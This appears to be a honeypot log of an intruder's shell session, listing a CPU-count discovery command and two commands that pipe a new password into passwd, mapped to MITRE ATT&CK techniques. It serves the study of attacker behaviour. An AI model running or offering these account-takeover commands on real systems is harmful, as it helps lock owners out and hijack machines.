Honeypot attack session (period 2021_2022), commands issued:
cat /proc/cpuinfo | grep name | wc -l
echo -e "franco\n344BVfIxh8gI\n344BVfIxh8gI"|passwd|bash
Enter new UNIX password: 
echo "franco\n344BVfIxh8gI\n344BVfIxh8gI\n"|passwd

MITRE ATT&CK techniques observed:
T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation